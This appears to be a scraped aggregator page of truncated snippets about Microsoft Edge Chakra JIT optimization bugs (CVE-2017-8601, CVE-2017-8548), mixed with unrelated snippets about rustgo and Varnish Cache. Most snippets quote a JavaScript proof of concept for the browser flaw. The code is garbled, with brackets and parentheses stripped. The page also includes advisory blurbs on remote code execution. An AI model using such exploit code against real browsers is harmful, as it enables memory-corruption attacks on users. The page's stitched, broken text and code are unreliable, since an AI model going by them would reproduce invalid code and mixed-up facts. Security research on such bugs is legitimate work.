Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3 Exploit

Exploit for windows platform in category dos / poc 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main let a = 1.1, 2.2; let b = new Uint32Array100; for let i = 0; i a0 = ; return 0; ; a0.toString; main; // Tested on Microsoft Edge 40.15063.0.0Insider...

Microsoft Edge Chakra Incorrect Jit Optimization Exploit

Yet another finding that the fix for an incorrect jit optimization with TypedArray setter in Microsoft Edge Chakra may not be sufficient. Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 3 CVE-2017-8601 Coincidentally, Microsoft released the patch for the issue 1290 the d...

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 3 CVE-2017-8601 Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again. This time, "funca, b, i;" is replaced with "funca, b, ;". PoC: 'use...

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main let a = 1.1, 2.2; let b = new Uint32Array100; for let i = 0; i a0 = ; return 0; ; a0.toString; main; // Tested on Microsoft Edge 40.15063.0.0Insider Preview...

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3(CVE-2017-8601)

Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again. This time, "funca, b, i;" is replaced with "funca, b, ;". PoC: 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main...

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2(CVE-2017-8548)

I think the fix for 1045 is incorrect. Here's the original PoC. 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array100; // force to optimize for var i = 0; i a0 = ; return 0; ; a0.toString; main; I just changed...

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter 3 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main let a = 1.1, 2.2; let b = new Uint32Array100; for let i = 0; i a0 = ; return 0; ; a0.toString; main; // Tested on...

Microsoft Edge Chakra Incorrect Jit Optimization Exploit

This is a follow-up finding that the fix for an incorrect jit optimization with TypedArray setter in Microsoft Edge Chakra may not be sufficient. Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 2 CVE-2017-8548 I think the fix for 1045 is incorrect. Here's the original Po...

Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

a0 = ; return 0; ; a0.toString; main; I just changed "var b = new Uint32Array100;" to "var b = new Uint32Array0;", and it worked well. PoC: -- 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array0; // 0 // force t...

Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter 2 a0 = ; return 0; ; a0.toString; main; I just changed "var b = new Uint32Array100;" to "var b = new Uint32Array0;", and it worked well. PoC: -- 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-32...

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 2 CVE-2017-8548 I think the fix for 1045 is incorrect. Here's the original PoC. 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array100; //...

rustgo: calling Rust from Go with near-zero overhead

русский Go has good support for calling into assembly, and a lot of the fast cryptographic code in the stdlib is carefully optimized assembly, bringing speedups of over 20 times. However, writing assembly code is hard, reviewing it is possibly harder, and cryptography is unforgiving. Wouldn't it ...

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This is Varnish Cache, a high-performance HTTP accelerator. Varnish Cache stores web pages in memory so web servers don=EF=BF=BD=EF=BF =BD=EF=BF=BDt have to create the same web page over and over again. Varnish Cache serves pages much faster than any application server; giving the website a...

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Microsoft Chakra Array JIT Optimization Type Confusion Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling o...

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This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Chakra. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the generation ...

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